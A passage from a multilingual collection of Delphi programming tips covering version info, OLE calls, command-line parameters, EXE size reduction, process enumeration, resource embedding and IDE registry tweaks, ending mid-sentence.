function TrpVersionInfo.GetLegalCopyright: string;
begin
result := GeTVersionInfo(vtLegalCopyright);
end;
function TrpVersionInfo.GetLegalTradeMark: string;
begin
result := GeTVersionInfo(vtLegalTradeMark);
end;
function TrpVersionInfo.GetOriginalFileName: string;
begin
result := GeTVersionInfo(vtOriginalFileName);
end;
function TrpVersionInfo.GetProductName: string;
begin
result := GeTVersionInfo(vtProductName);
end;
function TrpVersionInfo.GetProductVersion: string;
begin
result := GeTVersionInfo(vtProductVersion);
end;
function TrpVersionInfo.GetComments: string;
begin
result := GeTVersionInfo(vtComments);
end;
function TrpVersionInfo.GeTVersionInfo(VersionType: TVersionType): string;
begin
result := FVersionInfo[ord(VersionType)];
end;
procedure TrpVersionInfo.SeTVersionInfo;
var
sAppName, sVersionType: string;
iAppSize, iLenOfValue, i: integer;
pcBuf, pcValue: PChar;
begin
sAppName := Application.ExeName;
iAppSize := GetFileVersionInfoSize(PChar(sAppName), iAppSize);
if iAppSize > 0 then
begin
pcBuf := AllocMem(iAppSize);
GetFileVersionInfo(PChar(sAppName), 0, iAppSize, pcBuf);
for i := 0 to Ord(High(TVersionType)) do
begin
sVersionType := GetEnumName(TypeInfo(TVersionType), i);
sVersionType := Copy(sVersionType, 3, length(sVersionType));
if VerQueryValue(pcBuf, PChar('StringFileInfo\040904E4\' +
sVersionType), Pointer(pcValue), iLenOfValue) then
FVersionInfo[i] := pcValue;
end;
FreeMem(pcBuf, iAppSize);
end;
end;
procedure Register;
begin
RegisterComponents('FreeWare', [TrpVersionInfo]);
end;
end.
Проблема такая : на сервере стоит ЕХЕ-файл, написан на FoxPro. И как класс зарегистрирован в системном реестре.
Есть описание его процедур ( название, параметры). Существует ли возможность на Delphi обратиться к процедурам и заставить их сработать.
Видимо речь идет о сервере OLE, написанном на FoxPro (первый раз про такое слышу). Если так, то используй его как обычный OLE-сервер:
Var
vMyServer : OLEVariant;
Begin
vMyServer := CreateOLEObject("имя CLSID");
vMyServer.Имя_метода(...);
...
vMyServer := Null;
End;
Paramcount - показывает сколько параметров передано
Paramstr(0) - это имя с путем твоей программы
Paramstr(1) - имя первого параметра
Paramstr(2) - имя второго параметра и т.д.
Если ты запускаешь:
с:\myprog.exe /a -b22 c:\dev
то Paramcount будет равен 3
Paramstr(0) будет равен с:\myprog.exe
Paramstr(1) будет равен /a
Paramstr(2) будет равен -b22
Paramstr(3) будет равен c:\dev
Параметер это просто строка, набор букв, выполнить ее нельзя - ты можешь только проверить на наличие строки и если она
присутствует, то выполнить какое либо действие, это действие ты должен написать сам, никаких стандартных действий нет.
Например у тебя возможно 3 параметра:
Если параметер = "/v" то выдать сообщение, если параметер "/c" то покрасить форму в синий цвет, если параметер "/f" -
поменять заголовок формы:
if paramstr(1) = '/v' then
showmessage('Parameter "/v" was found!');
if paramstr(1) = '/c' then
color := clBlue;
if paramstr(1) = '/f' then
caption := 'Parameter "/f" was found';
Поставь этот код на событие формы onActivate, откомпиллируй и попробуй запустить программу с одним из 3х указанных параметров
и ты увидишь что произойдет.
Generally, EXE files created with Delphi are larger than EXE files created with another programming language.
The reason is the VCL. (Sure, VCL has many advantages...)
There are several ways to reduce a EXE''s size:
01) Use a EXE-Packer (UPX, ASPack,...)
02) Use KOL.
03) Write your application without VCL
04) Use the ACL (API Controls Library)
05) Use StripReloc.
06) Deactivate remote debugging information and TD32.
07) You might want to put code in a dll.
08) Don''t put the same images several times on a form. Load them at runtime.
09) Use compressed images (JPG and not BMP)
10) Store less properties in DFM files
(See Link below "How To Make Your EXE''s Lighter")
11) Use the TStringList replacement by ~LOM~
Use the Minireg - TRegistry replacement by Ben Hochstrasser
{*****************************************}
Mit Delphi erstellte Exe-Dateien sind im allgemeinen einiges grцsser als solche, welche mit anderen
Programmiersprachen erzeugt wurden.
Der Grund dafьr ist die VCL.
(Klar, Die VCL hat viele Vorteile...)
Es gibt verschiedene Mцglichkeiten, um die Exe-Grцsse zu reduzieren.
01) Einen EXE-Packer verwenden (UPX, ASPack, ....)
02) KOL verwenden.
03) Die Anwendung ohne VCL schreiben (nur mit API, nonVCL)
04) Die ACL (API Controls Library) verwenden.
05) StripReloc verwenden.
06) Debug Informationen und TD32 ausschalten.
07) Code in eine Dll auslagern.
08) Wenn Bilder mehrmals verwendet werden,
dann nur einmal einbinden und die anderen zur Laufzeit laden.
09) Bilder komprimieren (nicht bmp sondern z.B das jpg Format verwenden)
10) Weniger Properties in den DFM Dateien speichern
(Siehe Link unten ("How To Make Your EXE''s Lighter")
11) Verwende den TStringList Ersatz von ~LOM~
Verwende die Minireg - TRegistry Ersatz von Ben Hochstrasser
{*****************************************}
// Further descriptions and links:
// Beschreibungen in Englisch und Links:
{****************************************************************}
01)
UPX is a free, portable, extendable, high-performance executable packer for several different executable formats.
It achieves an excellent compression ratio and offers very fast decompression. Your executables suffer no memory overhead or other drawbacks.
http://upx.sourceforge.net/
ASPack is an advanced Win32 executable file compressor, capable of reducing the file size of 32-bit
Windows programs by as much as 70%. (ASPack''s compression ratio improves upon the industry-standard zip
file format by as much as 10-20%.) ASPack makes Windows 95/98/NT programs and libraries smaller, and decrease
load times across networks, and download times from the internet; it also protects programs against reverse
engineering by non-professional hackers.
Programs compressed with ASPack are self-contained and run exactly as before, with no runtime performance penalties.
http://www.aspack.com/aspack.htm
{****************************************************************}
02)
KOL - Key Objects Library is a set of objects to develop power (but small) 32 bit Windows GUI applications using
Delphi but without VCL. It is distributed free of charge, with source code.
http://bonanzas.rinet.ru/
{****************************************************************}
03)
nonVCL
Delphi lets you have it both ways. If you want tiny EXE's, then don't use the VCL. Its entirely possible to use all
the rich features of Delphi IDE using 100% WinAPI calls, standard resources, etc.
http://nonvcl.luckie-online.de
http://www.erm.tu-cottbus.de/delphi/stuff/Tutorials/nonVCL/index.html
http://www.angelfire.com/hi5/delphizeus/
http://www.tutorials.delphi-source.de/nonvcl/
{****************************************************************}
04)
ACL (API Controls Library)
To write the program on pure API certainly it is possible, but I have deci- ded to reach both goals - both
to make that program and to receive the tool, through which it would be possible in further to build similar
programs, almost, as on Delphi with VCL. So the idea to create my own TWinControl and all standard Windows
controls classes, derived from it has appeared.
http://www.apress.ru/pages/bokovikov/delphi/index.html/
{****************************************************************}
05)
StripReloc is a free (GPL license) command line utility that removes the relocation (".reloc") section from
Win32 PE EXE files, reducing their size. Most compilers/linkers (including Delphi) put a relocation section in
EXE files, but this is actually not necessary since EXEs never get relocated. Hence, a relocation section only
wastes space.
Why not use an EXE compressor?
http://www.jrsoftware.org/striprlc.php
{****************************************************************}
06)
Deactivating the Debug Information
Exclude any debug information for the final build (project-Options Compiler - Debugging and project-Options
Linker EXE and DLL options) Dependeing on the amount of Debug information, Debugging can take up until half
of the size.
The options that are going to singificantly reduce your file size are "Include TD32 debug info" and
"Build with runtime packages". If you are shipping commercial applications, you usually don''t need the debug
info linked with your project.
{****************************************************************}
08/09)
About Images
The forms in your project have any bitmaps on them, then these are compiled into the EXE. If you use the same
bitmap multiple times, don''t assign them at design-time in the IDE as it will be included in the EXE multiple
times, assign them in code instead.
This can help reduce the size of the EXE, especially if you use large bitmaps.
Use JPEG-files instead of BMP-files. This also reduces the EXE size.
{****************************************************************}
10)
How To Make Your EXE''s Lighter:
http://www.undu.com/DN970301/00000064.htm
{****************************************************************}
11)
TStringList replacement by ~LOM~
Minireg - TRegistry replacement
В DPR файле совершенно обычного проэкта дельфи можно указать функцию (процедуру) и объявить ее как
экспортируемую - синтаксис точно такой-же как при создании стандартной DLL. С таким довеском EXE совершенно
нормально компиллируется и работает и как EXE и как DLL (т.е. из нее можно импортировать описанные функции).
Зачем это нужно? Была одна задача - делал консоль которая связывала воедино несколько приложений, так экспортные
функции позволяли существенно расширять функциональность комплекса. Правда такой EXE все же имеет недостаток - EXE
упаковщики сохраняют исполняемую часть и неправильно упаковывают экспортированную...
// Для начала определяешь какому процессу принадлежит окно:
Var pProcID : ^DWORD;
begin
GetMem (pProcID, SizeOf (DWORD));
GetWindowThreadProcessId (WinHandle, pProcID);
end;
// а после этого используешь TProcessEntry32 примерно так:
function GetExeNameByProcID (ProcID : DWord) : String;
var
ContinueLoop : BOOL;
FSnapshotHandle : THandle;
FProcessEntry32 : TProcessEntry32;
begin
FSnapshotHandle := CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
Result := '';
while (Integer (ContinueLoop) <> 0) and (Result='') do
begin
if FProcessEntry32.th32ProcessID = ProcID then
Result := FProcessEntry32.szExeFile;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
end;
// Не забудь в uses добавить Tlhelp32
function GetEXEType(FileName: string): string;
var
BinaryType: DWORD;
begin
if GetBinaryType(PChar(FileName), Binarytype) then
case BinaryType of
SCS_32BIT_BINARY: Result := 'Win32 executable';
SCS_DOS_BINARY: Result := 'DOS executable';
SCS_WOW_BINARY: Result := 'Win16 executable';
SCS_PIF_BINARY: Result := 'PIF file';
SCS_POSIX_BINARY: Result := 'POSIX executable';
SCS_OS216_BINARY: Result := 'OS/2 16 bit executable'
else
Result := 'unknown executable'
end
else
Result := 'File is not an executable';
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
label1.Caption := GetEXEType('c:\windows\notepad.exe');
end;
{
Windows NT/2000: Requires Windows NT 3.5 or later.
Windows 95/98: Unsupported.
}
---------------------------------------------
type
TExeType = (etUnknown, etDOS, etWinNE {16-bit}, etWinPE {32-bit});
function GetExeType(const FileName: string): TExeType;
{ func to return the type of executable or dll (DOS, 16-bit, 32-bit). }
(**************************************************************
Usage:
with OpenDialog1 do
if Execute then
begin
Label1.Caption := FileName;
Label2.Caption := ExeStrings[GetExetype(FileName)];
end;
- or -
case GetExeType(OpenDialog1.FileName) of
etUnknown: Label3.Caption := 'Unknown file type';
etDOS : Label3.Caption := 'DOS executable';
etWinNE : {16-bit} Label3.Caption := 'Windows 16-bit executable';
etWinPE : {32-bit} Label3.Caption := 'Windows 32-bit executable';
end;
***************************************************************)
var
Signature,
WinHdrOffset: Word;
fexe: TFileStream;
begin
Result := etUnknown;
try
fexe := TFileStream.Create(FileName, fmOpenRead or fmShareDenyNone);
try
fexe.ReadBuffer(Signature, SizeOf(Signature));
if Signature = $5A4D { 'MZ' } then
begin
Result := etDOS;
fexe.Seek($18, soFromBeginning);
fexe.ReadBuffer(WinHdrOffset, SizeOf(WinHdrOffset));
if WinHdrOffset >= $40 then
begin
fexe.Seek($3C, soFromBeginning);
fexe.ReadBuffer(WinHdrOffset, SizeOf(WinHdrOffset));
fexe.Seek(WinHdrOffset, soFrombeginning);
fexe.ReadBuffer(Signature, SizeOf(Signature));
if Signature = $454E { 'NE' } then
Result := etWinNE
else
if Signature = $4550 { 'PE' } then
Result := etWinPE;
end;
end;
finally
fexe.Free;
end;
except
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
case GetExeType(OpenDialog1.FileName) of
etUnknown: Label_ExeType.Caption := 'Unknown file type';
etDOS : Label_ExeType.Caption := 'DOS executable';
etWinNE : Label_ExeType.Caption := 'Windows 16-bit executable';
etWinPE : Label_ExeType.Caption := 'Windows 32-bit executable';
end;
end;
uses
PsAPI, TlHelp32;
// portions by Project Jedi www.delphi-jedi.org/
const
RsSystemIdleProcess = 'System Idle Process';
RsSystemProcess = 'System Process';
function IsWinXP: Boolean;
begin
Result := (Win32Platform = VER_PLATFORM_WIN32_NT) and
(Win32MajorVersion = 5) and (Win32MinorVersion = 1);
end;
function IsWin2k: Boolean;
begin
Result := (Win32MajorVersion >= 5) and
(Win32Platform = VER_PLATFORM_WIN32_NT);
end;
function IsWinNT4: Boolean;
begin
Result := Win32Platform = VER_PLATFORM_WIN32_NT;
Result := Result and (Win32MajorVersion = 4);
end;
function IsWin3X: Boolean;
begin
Result := Win32Platform = VER_PLATFORM_WIN32_NT;
Result := Result and (Win32MajorVersion = 3) and
((Win32MinorVersion = 1) or (Win32MinorVersion = 5) or
(Win32MinorVersion = 51));
end;
function RunningProcessesList(const List: TStrings; FullPath: Boolean): Boolean;
function ProcessFileName(PID: DWORD): string;
var
Handle: THandle;
begin
Result := '';
Handle := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, False, PID);
if Handle <> 0 then
try
SetLength(Result, MAX_PATH);
if FullPath then
begin
if GetModuleFileNameEx(Handle, 0, PChar(Result), MAX_PATH) > 0 then
SetLength(Result, StrLen(PChar(Result)))
else
Result := '';
end
else
begin
if GetModuleBaseNameA(Handle, 0, PChar(Result), MAX_PATH) > 0 then
SetLength(Result, StrLen(PChar(Result)))
else
Result := '';
end;
finally
CloseHandle(Handle);
end;
end;
function BuildListTH: Boolean;
var
SnapProcHandle: THandle;
ProcEntry: TProcessEntry32;
NextProc: Boolean;
FileName: string;
begin
SnapProcHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Result := (SnapProcHandle <> INVALID_HANDLE_VALUE);
if Result then
try
ProcEntry.dwSize := SizeOf(ProcEntry);
NextProc := Process32First(SnapProcHandle, ProcEntry);
while NextProc do
begin
if ProcEntry.th32ProcessID = 0 then
begin
// PID 0 is always the "System Idle Process" but this name cannot be
// retrieved from the system and has to be fabricated.
FileName := RsSystemIdleProcess;
end
else
begin
if IsWin2k or IsWinXP then
begin
FileName := ProcessFileName(ProcEntry.th32ProcessID);
if FileName = '' then
FileName := ProcEntry.szExeFile;
end
else
begin
FileName := ProcEntry.szExeFile;
if not FullPath then
FileName := ExtractFileName(FileName);
end;
end;
List.AddObject(FileName, Pointer(ProcEntry.th32ProcessID));
NextProc := Process32Next(SnapProcHandle, ProcEntry);
end;
finally
CloseHandle(SnapProcHandle);
end;
end;
function BuildListPS: Boolean;
var
PIDs: array [0..1024] of DWORD;
Needed: DWORD;
I: Integer;
FileName: string;
begin
Result := EnumProcesses(@PIDs, SizeOf(PIDs), Needed);
if Result then
begin
for I := 0 to (Needed div SizeOf(DWORD)) - 1 do
begin
case PIDs[I] of
0:
// PID 0 is always the "System Idle Process" but this name cannot be
// retrieved from the system and has to be fabricated.
FileName := RsSystemIdleProcess;
2:
// On NT 4 PID 2 is the "System Process" but this name cannot be
// retrieved from the system and has to be fabricated.
if IsWinNT4 then
FileName := RsSystemProcess
else
FileName := ProcessFileName(PIDs[I]);
8:
// On Win2K PID 8 is the "System Process" but this name cannot be
// retrieved from the system and has to be fabricated.
if IsWin2k or IsWinXP then
FileName := RsSystemProcess
else
FileName := ProcessFileName(PIDs[I]);
else
FileName := ProcessFileName(PIDs[I]);
end;
if FileName <> '' then
List.AddObject(FileName, Pointer(PIDs[I]));
end;
end;
end;
begin
if IsWin3X or IsWinNT4 then
Result := BuildListPS
else
Result := BuildListTH;
end;
function GetProcessNameFromWnd(Wnd: HWND): string;
var
List: TStringList;
PID: DWORD;
I: Integer;
begin
Result := '';
if IsWindow(Wnd) then
begin
PID := INVALID_HANDLE_VALUE;
GetWindowThreadProcessId(Wnd, @PID);
List := TStringList.Create;
try
if RunningProcessesList(List, True) then
begin
I := List.IndexOfObject(Pointer(PID));
if I > -1 then
Result := List[I];
end;
finally
List.Free;
end;
end;
end;
uses
Psapi, tlhelp32;
procedure CreateWin9xProcessList(List: TstringList);
var
hSnapShot: THandle;
ProcInfo: TProcessEntry32;
begin
if List = nil then
Exit;
hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot <> THandle(-1)) then
begin
ProcInfo.dwSize := SizeOf(ProcInfo);
if (Process32First(hSnapshot, ProcInfo)) then
begin
List.Add(ProcInfo.szExeFile);
while (Process32Next(hSnapShot, ProcInfo)) do
List.Add(ProcInfo.szExeFile);
end;
CloseHandle(hSnapShot);
end;
end;
procedure CreateWinNTProcessList(List: TstringList);
var
PIDArray: array[0..1023] of DWORD;
cb: DWORD;
I: Integer;
ProcCount: Integer;
hMod: HMODULE;
hProcess: THandle;
ModuleName: array[0..300] of Char;
begin
if List = nil then
Exit;
EnumProcesses(@PIDArray, SizeOf(PIDArray), cb);
ProcCount := cb div SizeOf(DWORD);
for I := 0 to ProcCount - 1 do
begin
hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or
PROCESS_VM_READ,
False,
PIDArray[I]);
if (hProcess <> 0) then
begin
EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb);
GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName));
List.Add(ModuleName);
CloseHandle(hProcess);
end;
end;
end;
procedure GetProcessList(var List: TstringList);
var
ovi: TOSVersionInfo;
begin
if List = nil then
Exit;
ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(ovi);
case ovi.dwPlatformId of
VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List);
VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List);
end
end;
function EXE_Running(FileName: string; bFullpath: Boolean): Boolean;
var
i: Integer;
MyProcList: TstringList;
begin
MyProcList := TStringList.Create;
try
GetProcessList(MyProcList);
Result := False;
if MyProcList = nil then
Exit;
for i := 0 to MyProcList.Count - 1 do
begin
if not bFullpath then
begin
if CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0
then
Result := True
end
else if CompareText(MyProcList.strings[i], FileName) = 0 then
Result := True;
if Result then
Break;
end;
finally
MyProcList.Free;
end;
end;
// Example 1: Is a Exe-File running ?
procedure TForm1.Button1Click(Sender: TObject);
begin
if EXE_Running('Notepad.exe', False) then
ShowMessage('EXE is running')
else
ShowMessage('EXE is not running');
end;
// Example 2: List running Exe-Files
procedure TForm1.Button3Click(Sender: TObject);
var
i: Integer;
MyProcList: TstringList;
begin
MyProcList := TStringList.Create;
try
GetProcessList(MyProcList);
if MyProcList = nil then
Exit;
for i := 0 to MyProcList.Count - 1 do
ListBox1.Items.Add(MyProcList.Strings[i]);
finally
MyProcList.Free;
end;
end;
Иногда возникает необходимость вшить ресурсы в исполняемый файл Вашего приложения (например чтобы предотвратить
их случайное удаление пользователем, либо, чтобы защитить их от изменений). Данный пример показывает как вшить
любой файл как ресурс в EXE-шнике.
Далее рассмотрим, как создать файл ресурсов, содержащий корию какого-либо файла. После создания такого файла его
можно легко прицепить к Вашему проекту директивой {$R}. Файл ресурсов, который мы будем создавать имеет следующий
формат:
* заголовок
* заголовок для нашего RCDATA ресурса
* собственно данные - RCDATA ресурс
В данном примере будет показано, как сохранить в файле ресурсов только один файл, но думаю, что так же легко
Вы сможете сохранить и несколько файлов.
Заголовок ресурса выглядит следующим образом:
TResHeader = record
DataSize: DWORD; // размер данных
HeaderSize: DWORD; // размер этой записи
ResType: DWORD; // нижнее слово = $FFFF => ordinal
ResId: DWORD; // нижнее слово = $FFFF => ordinal
DataVersion: DWORD; // *
MemoryFlags: WORD;
LanguageId: WORD; // *
Version: DWORD; // *
Characteristics: DWORD; // *
end;
Поля помеченны звёздочкой Мы не будем использовать.
Приведённый код создаёт файл ресурсов и копирует его в данный файл:
procedure CreateResourceFile(
DataFile, ResFile: string; // имена файлов
ResID: Integer // id ресурсов
);
var
FS, RS: TFileStream;
FileHeader, ResHeader: TResHeader;
Padding: array [0..SizeOf(DWORD)-1] of Byte;
begin
{ Open input file and create resource file }
FS := TFileStream.Create( // для чтения данных из файла
DataFile, fmOpenRead);
RS := TFileStream.Create( // для записи файла ресурсов
ResFile, fmCreate);
{ Создаём заголовок файла ресурсов - все нули, за исключением
HeaderSize, ResType и ResID }
FillChar(FileHeader, SizeOf(FileHeader), #0);
FileHeader.HeaderSize := SizeOf(FileHeader);
FileHeader.ResId := $0000FFFF;
FileHeader.ResType := $0000FFFF;
{ Создаём заголовок данных для RC_DATA файла
Внимание: для создания более одного ресурса необходимо
повторить следующий процесс, используя каждый раз различные
ID ресурсов }
FillChar(ResHeader, SizeOf(ResHeader), #0);
ResHeader.HeaderSize := SizeOf(ResHeader);
// id ресурса - FFFF означает "не строка!"
ResHeader.ResId := $0000FFFF or (ResId shl 16);
// тип ресурса - RT_RCDATA (from Windows unit)
ResHeader.ResType := $0000FFFF
or (WORD(RT_RCDATA) shl 16);
// размер данных - есть размер файла
ResHeader.DataSize := FS.Size;
// Устанавливаем необходимые флаги памяти
ResHeader.MemoryFlags := $0030;
{ Записываем заголовки в файл ресурсов }
RS.WriteBuffer(FileHeader, sizeof(FileHeader));
RS.WriteBuffer(ResHeader, sizeof(ResHeader));
{ Копируем файл в ресурс }
RS.CopyFrom(FS, FS.Size);
{ Pad data out to DWORD boundary - any old
rubbish will do!}
if FS.Size mod SizeOf(DWORD) <> 0 then
RS.WriteBuffer(Padding, SizeOf(DWORD) -
FS.Size mod SizeOf(DWORD));
{ закрываем файлы }
FS.Free;
RS.Free;
end;
Данный код не совсем красив, и отсутствует обработка ошибок. Правильнее будет создать класс, включающий в себя данный пример.
Извлечение ресурсов из EXE
теперь рассмотрим пример, показывающий, как извлекать ресурсы из исполняемого модуля.
Вся процедура заключается в создании потока ресурса, создании файлового потока и копировании из потока ресурса в поток файла.
procedure ExtractToFile(Instance:THandle; ResID:Integer; ResType, FileName:string);
var
ResStream: TResourceStream;
FileStream: TFileStream;
begin
try
ResStream := TResourceStream.CreateFromID(Instance, ResID, pChar(ResType));
try
//if FileExists(FileName) then
//DeleteFile(pChar(FileName));
FileStream := TFileStream.Create(FileName, fmCreate);
try
FileStream.CopyFrom(ResStream, 0);
finally
FileStream.Free;
end;
finally
ResStream.Free;
end;
except
on E:Exception do
begin
DeleteFile(FileName);
raise;
end;
end;
end;
Всё, что требуется, это получить Instance exe-шника или dll (у Вашего приложения это Application.Instance или
Application.Handle, для dll Вам придётся получить его самостоятельно :)
ResID
тот же самый ID , который был присвоен ресурсу
ResType: WAVEFILE, BITMAP, CURSOR, CUSTOM
это типы ресурсов, с которыми возможно работать, но у меня получилось успешно проделать процедуру только с CUSTOM
FileName
это имя файла, который мы хотим создать из ресурса
Вы можете включить любой тип данных как RCDATA или пользовательских тип ресурса. Это очень просто. Данный
совет покажет вам общую технику создания такого ресурса.
Type
TStrItem = String[39]; { 39 символов + байт длины -> 40 байтов }
TDataArray = Array [0..7, 0..24] of TStrItem;
Const
Data: TDataArray = (
('..', ...., '..' ), { 25 строк на строку }
... { 8 таких строк }
('..', ...., '..' )); { 25 строк на строку }
Данные размещаются в вашем сегменте данных и занимают в нем 8K. Если это слишком много для вашего приложения,
поместите реальные данные в ресурс RCDATA. Следующие шаги демонстрируют данный подход. Создайте небольшую безоконную
программку, объявляющую типизированную константу как показано выше, и запишите результат в файл на локальный диск:
program MakeData;
type
TStrItem = string[39]; { 39 символов + байт длины -> 40 байтов }
TDataArray = array[0..7, 0..24] of TStrItem;
const
Data: TDataArray = (
('..', ...., '..'), { 25 строк на строку }
... { 8 таких строк }
('..', ...., '..')); { 25 строк на строку }
var
F: file of TDataArray;
begin
Assign(F, 'data.dat');
Rewrite(F);
Write(F, Data);
Close(F);
end.
Теперь подготовьте файл ресурса и назовите его DATA.RC. Он должен содержать только следующую строчку:
DATAARRAY RCDATA "data.dat"
Сохраните это, откройте сессию DOS, перейдите в каталог где вы сохранили data.rc (там же, где и data.dat!) и
выполните следующую команду:
brcc data.rc (brcc32 для Delphi 2.0)
Теперь вы имеете файл data.res, который можете подключить к своему Delphi-проекту. Во время выполнения приложения
вы можете генерировать указатель на данные этого ресурса и иметь к ним доступ, что и требовалось.
{ в секции interface модуля }
type
TStrItem = string[39]; { 39 символов + байт длины -> 40 байтов }
TDataArray = array[0..7, 0..24] of TStrItem;
PDataArray = ^TDataArray;
const
pData: PDataArray = nil; { в Delphi 2.0 используем Var }
implementation
{$R DATA.RES}
procedure LoadDataResource;
var
dHandle: THandle;
begin
{ pData := Nil; если pData - Var }
dHandle := FindResource(hInstance, 'DATAARRAY', RT_RCDATA);
if dHandle <> 0 then
begin
dhandle := LoadResource(hInstance, dHandle);
if dHandle <> 0 then
pData := LockResource(dHandle);
end;
if pData = nil then
{ неудача, получаем сообщение об ошибке с помощью
WinProcs.MessageBox, без помощи VCL, поскольку здесь код
выполняется как часть инициализации программы и VCL
возможно еще не инициализирован! }
end;
initialization
LoadDataResource;
end.
Теперь вы можете ссылаться на элементы массива с помощью синтаксиса pData^[i,j].
Создаем фрейм, содержащий контролы, которые имеют собственные обработчики событий. При помещении на форму таких фреймов
нужно быть с ними очень осторожными в design-time. Достаточно случайно "войти" в процедуру обработки такого события
для компонента фрейма, чтобы IDE автоматически сформировала обработчик этого события для формы, а не для фрейма.
После этого, при удалении этого обработчика, обработчик "задетого" события во фрейме полностью игнорируется.
"Камушек" кроется в том, что IDE при удалении обработчика из ObjectInspector не вытирает упоминание о нем из файла *.dfm,
а просто присваивает ему там nil!
Для иллюстрации "камня" приводится тестовый проект. На форме лежат два совершенно одинаковых фрейма, исходный код и OI
показывают, что эти фреймы абсолютно идентичны, но(!) один из них отрабатывает нажатие на кнопку, а второй полностью
его игнорирует.
Источник беды виден в файле формы *.dfm (View as text) :
....
inline frClick1: TfrClick
Left = 5
Top = 32
end
inline frClick2: TfrClick
Left = 6
Top = 128
TabOrder = 1
inherited BitBtn1: TBitBtn
OnClick = nil
end
end
....
ТИПОВЫЕ РЕШЕНИЯ
1. Стараться не щелкать без надобности по OI;
2. Если такое случилось, проверить и откорректировать файл *.dfm , удаляя ненужное описание обработчика
(в тестовом примере это строка "OnClick = nil")
Скачать тест StoneTest_26.zip (1.8K)
КОММЕНТАРИЙ:
Еще один метод борьбы заключается в правильном способе удаления ненужного обработчика. Ведь нам нужно вообще
удалить нечаянно созданный обработчик события с формы, не так ли? Очистка события в OI только отключает процедуру от
компонента, не удаляя ее из кода модуля. И правильно делает - она могла быть задействована где-то еще.
Если действовать "по всем правилам искусства", как рекомендуют классики, то надо очистить тело процедуры обработчика
от кода между begin и end, а затем просто сохранить файл (F2 в классической раскладке). IDE Delphi при сохранении файла
очищает форму от пустых обработчиков, и делает это корректно (все в точности возвращается назад).
Так что, может быть, это не глюк, а фича такая: "OnClick = nil" - способ отключить унаследованный от фрейма
обработчик, не прибегая к коду.
If you have Delphi 4 Professional or Client/Server or a newer Version, you can press the key combination Ctrl+Shift+G
and Delphi will insert the unique GUID (Global Unique Identifier) into the code editor at the cursor location.
This can be useful for COM programmers.
Ab Delphi 4 Professional oder Client/Server kann man mittels Strg+Shift+G einen GUID (Global Unique Identifier)
an der aktuellen Cursor Position einfьgen lassen. Dies kann vorallem fьr COM Programmierer nьtzlich sein.
Example/ Beispiel:
Press Ctrl+Shift+G und you''ll get something like that:
Drьcke Strg+Shift+G und dann wird z.B ein solcher GUID eingefьgt:
['{C84EB7F0-8AA8-11D6-BDA5-00409544305B}']
These undocumented registry settings must be put in the registry location:
HKEY_CURRENT_USER\Software\Borland\Delphi\5.0\Extras
You can create them by running RegEdit.exe. After RegEdit is running, you need to go to the appropriate area of
your registry by navigating through the Registry tree.
You will need to create the "Extras" registry key. You can do this by clicking the right mouse button in the
registry key on the entry for
HKEY_CURRENT_USER\Software\Borland\Delphi\5.0 then selecting New|Key. Once this key is created, you can select it
and create either or both of the string values described below.
Automatically Selecting a Component Page
There are two registry values that control how the component palette reacts to the mouse. Setting the value of
AutoPaletteSelect to "1" (one) will cause a tab on the component palette to be automatically selected when the
mouse is hovering over it. If the mouse is in the top two-thirds (2/3) of the tab, the palette for that tab will
automatically be displayed.
To create this entry, click the right mouse button and select New|String Value. Replace "New Value #1" with
"AutoPaletteSelect." Set its value to "1" by pressing the right mouse button again and selecting Modify, and
using the dialog that appears.
Automatically Scrolling in a Component Page
If you have a lower resolution display or a component page with many components on it, you probably see arrows on
the component page for scrolling left and right through the component list. Setting the value of AutoPaletteScroll
to "1" (one) will make you scroll left and right automatically whenever the mouse is positioned over the relevant arrow.
To create this entry, click the right mouse button and select New|String Value. Replace "New Value #1" with
"AutoPaletteScroll." Set its value to "1" by pressing the right mouse button again and selecting Modify, and
using the dialog that appears.
I got used to both of these changes quite quickly, so for me, they''re definitely a nice tweak for the IDE.
Try them out yourself and see if you like them.
{
If you have Delphi 4 Professional or Client/Server or a newer Version,
you can use the key combination Ctrl+Shift+C
to have Delphi automatically create the implementation declarations
for methods you declare in the interface section.
Ab Delphi 4 Prof, Client/Server kann man mit der Strg+Shift+C Tastenkombination
automatisch die Implementation Deklaration erstellen fur Methoden,
welche man in der Interface Sektion deklariert.
So if you add this to the interface section,
Wenn man z.B das in die Interface Sektion schreibt,
}
procedure YourProcedure(SomeParameter: string);
{
...Delphi will create the following in the implementation section:
...generiert Delphi automatisch den Code fur die Implementation Sektion:
}
procedure TForm1.YourProcedure(SomeParameter: string);
begin
end;
{
This also works for class declarations like this:
Dies funktioniert z.B auch fur Klassen Deklarationen wie diese:
}
type TYourButton = class(TButton)
property Height : Integer;
procedure DoSomething;
end;
Предупреждение: Окно CPU еще до конца не оттестировано и может иногда приводить к ошибкам. Если у вас есть
проблемы с отладчиком, или при запуске вашей программы вы не можете им воспользоваться, окно CPU может помочь
решить ваши проблемы. Обычно его не требуется включать, если только у вас не "особый случай".
В Delphi 2 эта характеристика встроена, но по умолчанию выключена, называется это окно CPU window, или
DisassemblyView. Она легка в использовании, может быть полезной в отладке и сравнении кода при его оптимизации.
Для активизации этой характеристики, запустите REGEDIT и отредактируйте регистры описанным ниже образом. Найдите
ключ HKEY_CURRENT_USER\Software\Borland\Delphi\2.0\Debugging. Создайте по этому пути строковый ключ с именем "ENABLECPU".
Значение нового ключа должно быть строкой "1". Это все. Теперь в Delphi IDE появился новый пункт меню View|CPUWindow.
При его активизации выводится новое окно.
Теперь, чтобы понять какое мощное средство оказалось в ваших руках, сделаем сравнительный анализ генерируемого кода
